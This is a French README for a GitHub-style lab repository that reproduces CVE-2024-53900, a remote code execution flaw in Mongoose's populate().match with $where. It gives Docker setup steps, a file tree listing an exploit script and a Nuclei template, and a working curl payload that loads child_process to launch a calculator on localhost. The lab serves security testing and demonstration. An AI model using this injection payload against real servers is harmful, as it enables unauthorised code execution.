
Environnement reproductible et PoC pour CVE-2024-53900, une RCE critique dans Mongoose via populate().match $where. Inclut un script d'exploitation automatisé et un modèle Nuclei pour les tests de sécurité.
Ce dépôt fournit un environnement vulnérable reproductible et un PoC pour CVE-2024-53900, une vulnérabilité critique d'exécution de code à distance (RCE) dans Mongoose < 8.8.3.
populate().match combiné avec $whereRéférences:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
Par défaut, l'application Node.js vulnérable s'exécute dans Docker.
Cependant, les applications graphiques (comme xcalc ou gnome-calculator) ne se lanceront pas dans un conteneur.
👉 Si vous souhaitez démontrer la RCE en lançant une fenêtre de calculatrice :
Exécutez MongoDB dans Docker (comme backend de base de données)
docker run -d --name mongo -p 27017:27017 mongo:6
Exécutez l'application Node.js vulnérable localement
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # Environment setup
├── exploit.py # Automated exploit script
├── CVE-2024-53900.yaml # Nuclei template
├── README.md # Documentation
├── app/ # Vulnerable Node.js app
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB volume
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
mongo:6188.5.0 (vulnérable)4.18.2